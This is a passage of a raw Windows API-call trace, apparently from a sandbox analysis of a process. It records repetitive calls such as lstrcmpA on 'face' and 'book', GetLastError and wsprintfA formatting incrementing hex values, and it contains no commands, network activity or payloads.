(lpString1="face", lpString2="book") returned 1 [0050.837] GetLastError () returned 0x12 [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] lstrlenA (lpString="just string") returned 11 [0050.837] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.837] GetLastError () returned 0x12 [0050.837] GetLastError () returned 0x12 [0050.837] GetLastError () returned 0x12 [0050.837] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.837] SetLastError (dwErrCode=0x12) [0050.837] GetCurrentProcess () returned 0xffffffff [0050.837] GetLastError () returned 0x12 [0050.837] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FBE8P") returned 6 [0050.837] SetLastError (dwErrCode=0x12) [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcess () returned 0xffffffff [0050.837] GetLastError () returned 0x12 [0050.837] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FBE9P") returned 6 [0050.837] SetLastError (dwErrCode=0x12) [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetLastError () returned 0x12 [0050.837] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FBEAP") returned 6 [0050.837] SetLastError (dwErrCode=0x12) [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] lstrlenA (lpString="just string") returned 11 [0050.837] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.837] GetLastError () returned 0x12 [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] lstrlenA (lpString="just string") returned 11 [0050.837] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.837] GetLastError () returned 0x12 [0050.837] GetLastError () returned 0x12 [0050.837] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.837] SetLastError (dwErrCode=0x12) [0050.837] GetCurrentProcess () returned 0xffffffff [0050.837] GetLastError () returned 0x12 [0050.837] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FC56P") returned 6 [0050.837] SetLastError (dwErrCode=0x12) [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcess () returned 0xffffffff [0050.837] GetLastError () returned 0x12 [0050.838] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FC57P") returned 6 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetLastError () returned 0x12 [0050.838] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FC58P") returned 6 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] lstrlenA (lpString="just string") returned 11 [0050.838] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.838] GetLastError () returned 0x12 [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] lstrlenA (lpString="just string") returned 11 [0050.838] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.838] GetLastError () returned 0x12 [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] lstrlenA (lpString="just string") returned 11 [0050.838] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.838] GetLastError () returned 0x12 [0050.838] GetLastError () returned 0x12 [0050.838] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcess () returned 0xffffffff [0050.838] GetLastError () returned 0x12 [0050.838] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FCE2P") returned 6 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcess () returned 0xffffffff [0050.838] GetLastError () returned 0x12 [0050.838] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FCE3P") returned 6 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetLastError () returned 0x12 [0050.838] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FCE4P") returned 6 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] lstrlenA (lpString="just string") returned 11 [0050.838] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.838] GetLastError () returned 0x12 [0050.838] GetLastError () returned 0x12 [0050.838] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcess () returned 0xffffffff [0050.838] GetLastError () returned 0x12 [0050.838] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FCF6P") returned 6 [0050.838] SetLastError (dwErrCode=0x12) [0050.838] GetCurrentProcessId () returned 0x81c [0050.838] GetCurrentProcess () returned 0xffffffff [0050.838] GetLastError () returned 0x12 [0050.838] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FCF7P") returned 6 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetLastError () returned 0x12 [0050.839] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FCF8P") returned 6 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] lstrlenA (lpString="just string") returned 11 [0050.839] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.839] GetLastError () returned 0x12 [0050.839] GetLastError () returned 0x12 [0050.839] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcess () returned 0xffffffff [0050.839] GetLastError () returned 0x12 [0050.839] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FD1EP") returned 6 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcess () returned 0xffffffff [0050.839] GetLastError () returned 0x12 [0050.839] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FD1FP") returned 6 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetLastError () returned 0x12 [0050.839] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FD20P") returned 6 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] lstrlenA (lpString="just string") returned 11 [0050.839] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.839] GetLastError () returned 0x12 [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] lstrlenA (lpString="just string") returned 11 [0050.839] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.839] GetLastError () returned 0x12 [0050.839] GetCurrentProcess () returned 0xffffffff [0050.839] GetLastError () returned 0x12 [0050.839] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FDDDP") returned 6 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetLastError () returned 0x12 [0050.839] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FDDEP") returned 6 [0050.839] SetLastError (dwErrCode=0x12) [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] lstrlenA (lpString="just string") returned 11 [0050.839] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.839] GetLastError () returned 0x12 [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] GetCurrentProcessId () returned 0x81c [0050.839] lstrlenA (lpString="just string") returned 11 [0050.839] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.839] GetLastError () returned 0x12 [0050.839] GetLastError () returned 0x12 [0050.840] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.840] SetLastError (dwErrCode=0x12) [0050.840] GetCurrentProcess () returned 0xffffffff [0050.840] GetLastError () returned 0x12 [0050.840] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FE22P") returned 6 [0050.840] SetLastError (dwErrCode=0x12) [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcess () returned 0xffffffff [0050.840] GetLastError () returned 0x12 [0050.840] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FE23P") returned 6 [0050.840] SetLastError (dwErrCode=0x12) [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetLastError () returned 0x12 [0050.840] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FE24P") returned 6 [0050.840] SetLastError (dwErrCode=0x12) [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] lstrlenA (lpString="just string") returned 11 [0050.840] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.840] GetLastError () returned 0x12 [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] lstrlenA (lpString="just string") returned 11 [0050.840] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.840] GetLastError () returned 0x12 [0050.840] lstrlenA (lpString="just string") returned 11 [0050.840] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.840] GetLastError () returned 0x12 [0050.840] GetLastError () returned 0x12 [0050.840] GetCurrentProcess () returned 0xffffffff [0050.840] GetLastError () returned 0x12 [0050.840] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FECDP") returned 6 [0050.840] SetLastError (dwErrCode=0x12) [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetLastError () returned 0x12 [0050.840] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FECEP") returned 6 [0050.840] SetLastError (dwErrCode=0x12) [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] lstrlenA (lpString="just string") returned 11 [0050.840] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.840] GetLastError () returned 0x12 [0050.840] GetCurrentProcessId () returned 0x81c [0050.840] lstrlenA (lpString="just string") returned 11 [0050.840] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.840] GetLastError () returned 0x12 [0050.840] lstrlenA (lpString="just string") returned 11 [0050.840] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.840] GetLastError () returned 0x12 [0050.840] GetLastError () returned 0x12 [0050.840] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.840] SetLastError (dwErrCode=0x12) [0050.840] GetCurrentProcess () returned 0xffffffff [0050.840] GetLastError () returned 0x12 [0050.840] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FF58P") returned 6 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcess () returned 0xffffffff [0050.841] GetLastError () returned 0x12 [0050.841] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FF59P") returned 6 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetLastError () returned 0x12 [0050.841] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FF5AP") returned 6 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] lstrlenA (lpString="just string") returned 11 [0050.841] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.841] GetLastError () returned 0x12 [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] lstrlenA (lpString="just string") returned 11 [0050.841] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.841] GetLastError () returned 0x12 [0050.841] GetLastError () returned 0x12 [0050.841] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FFD2P") returned 6 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] lstrlenA (lpString="just string") returned 11 [0050.841] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.841] GetLastError () returned 0x12 [0050.841] GetLastError () returned 0x12 [0050.841] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcess () returned 0xffffffff [0050.841] GetLastError () returned 0x12 [0050.841] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20016P") returned 6 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcess () returned 0xffffffff [0050.841] GetLastError () returned 0x12 [0050.841] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20017P") returned 6 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetLastError () returned 0x12 [0050.841] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20018P") returned 6 [0050.841] SetLastError (dwErrCode=0x12) [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] GetCurrentProcessId () returned 0x81c [0050.841] lstrlenA (lpString="just string") returned 11 [0050.841] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.841] GetLastError () returned 0x12 [0050.841] GetLastError () returned 0x12 [0050.841] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.841] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcess () returned 0xffffffff [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2003EP") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcess () returned 0xffffffff [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2003FP") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20040P") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] lstrlenA (lpString="just string") returned 11 [0050.842] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.842] GetLastError () returned 0x12 [0050.842] GetCurrentProcess () returned 0xffffffff [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2007BP") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2007CP") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] lstrlenA (lpString="just string") returned 11 [0050.842] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.842] GetLastError () returned 0x12 [0050.842] lstrlenA (lpString="just string") returned 11 [0050.842] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.842] GetLastError () returned 0x12 [0050.842] GetLastError () returned 0x12 [0050.842] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcess () returned 0xffffffff [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="200F2P") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcess () returned 0xffffffff [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="200F3P") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetLastError () returned 0x12 [0050.842] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="200F4P") returned 6 [0050.842] SetLastError (dwErrCode=0x12) [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] GetCurrentProcessId () returned 0x81c [0050.842] lstrlenA (lpString="just string") returned 11 [0050.842] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.842] GetLastError () returned 0x12 [0050.842] GetCurrentProcess () returned 0xffffffff [0050.843] GetLastError () returned 0x12 [0050.843] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2011BP") returned 6 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetLastError () returned 0x12 [0050.843] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2011CP") returned 6 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] lstrlenA (lpString="just string") returned 11 [0050.843] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.843] GetLastError () returned 0x12 [0050.843] GetLastError () returned 0x12 [0050.843] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20144P") returned 6 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] lstrlenA (lpString="just string") returned 11 [0050.843] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.843] GetLastError () returned 0x12 [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] lstrlenA (lpString="just string") returned 11 [0050.843] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.843] GetLastError () returned 0x12 [0050.843] GetLastError () returned 0x12 [0050.843] GetLastError () returned 0x12 [0050.843] GetLastError () returned 0x12 [0050.843] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcess () returned 0xffffffff [0050.843] GetLastError () returned 0x12 [0050.843] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="201C4P") returned 6 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcess () returned 0xffffffff [0050.843] GetLastError () returned 0x12 [0050.843] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="201C5P") returned 6 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetLastError () returned 0x12 [0050.843] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="201C6P") returned 6 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] GetCurrentProcessId () returned 0x81c [0050.843] lstrlenA (lpString="just string") returned 11 [0050.843] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.843] GetLastError () returned 0x12 [0050.843] GetLastError () returned 0x12 [0050.843] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.843] SetLastError (dwErrCode=0x12) [0050.843] GetCurrentProcess () returned 0xffffffff [0050.843] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="201D8P") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcess () returned 0xffffffff [0050.844] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="201D9P") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="201DAP") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] lstrlenA (lpString="just string") returned 11 [0050.844] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.844] GetLastError () returned 0x12 [0050.844] GetLastError () returned 0x12 [0050.844] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcess () returned 0xffffffff [0050.844] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2020AP") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcess () returned 0xffffffff [0050.844] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2020BP") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2020CP") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] lstrlenA (lpString="just string") returned 11 [0050.844] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.844] GetLastError () returned 0x12 [0050.844] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2023EP") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] lstrlenA (lpString="just string") returned 11 [0050.844] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.844] GetLastError () returned 0x12 [0050.844] GetLastError () returned 0x12 [0050.844] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2025CP") returned 6 [0050.844] SetLastError (dwErrCode=0x12) [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] GetCurrentProcessId () returned 0x81c [0050.844] lstrlenA (lpString="just string") returned 11 [0050.844] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.844] GetLastError () returned 0x12 [0050.844] GetLastError () returned 0x12 [0050.845] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcess () returned 0xffffffff [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202A0P") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcess () returned 0xffffffff [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202A1P") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202A2P") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] lstrlenA (lpString="just string") returned 11 [0050.845] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.845] GetLastError () returned 0x12 [0050.845] GetCurrentProcess () returned 0xffffffff [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202ABP") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202ACP") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] lstrlenA (lpString="just string") returned 11 [0050.845] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.845] GetLastError () returned 0x12 [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] lstrlenA (lpString="just string") returned 11 [0050.845] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.845] GetLastError () returned 0x12 [0050.845] GetLastError () returned 0x12 [0050.845] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcess () returned 0xffffffff [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202E6P") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetCurrentProcess () returned 0xffffffff [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202E7P") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.845] GetCurrentProcessId () returned 0x81c [0050.845] GetLastError () returned 0x12 [0050.845] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="202E8P") returned 6 [0050.845] SetLastError (dwErrCode=0x12) [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] lstrlenA (lpString="just string") returned 11 [0050.846] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.846] GetLastError () returned 0x12 [0050.846] lstrlenA (lpString="just string") returned 11 [0050.846] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.846] GetLastError () returned 0x12 [0050.846] lstrlenA (lpString="just string") returned 11 [0050.846] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.846] GetLastError () returned 0x12 [0050.846] GetLastError () returned 0x12 [0050.846] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.846] SetLastError (dwErrCode=0x12) [0050.846] GetCurrentProcess () returned 0xffffffff [0050.846] GetLastError () returned 0x12 [0050.846] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20336P") returned 6 [0050.846] SetLastError (dwErrCode=0x12) [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcess () returned 0xffffffff [0050.846] GetLastError () returned 0x12 [0050.846] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20337P") returned 6 [0050.846] SetLastError (dwErrCode=0x12) [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetLastError () returned 0x12 [0050.846] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20338P") returned 6 [0050.846] SetLastError 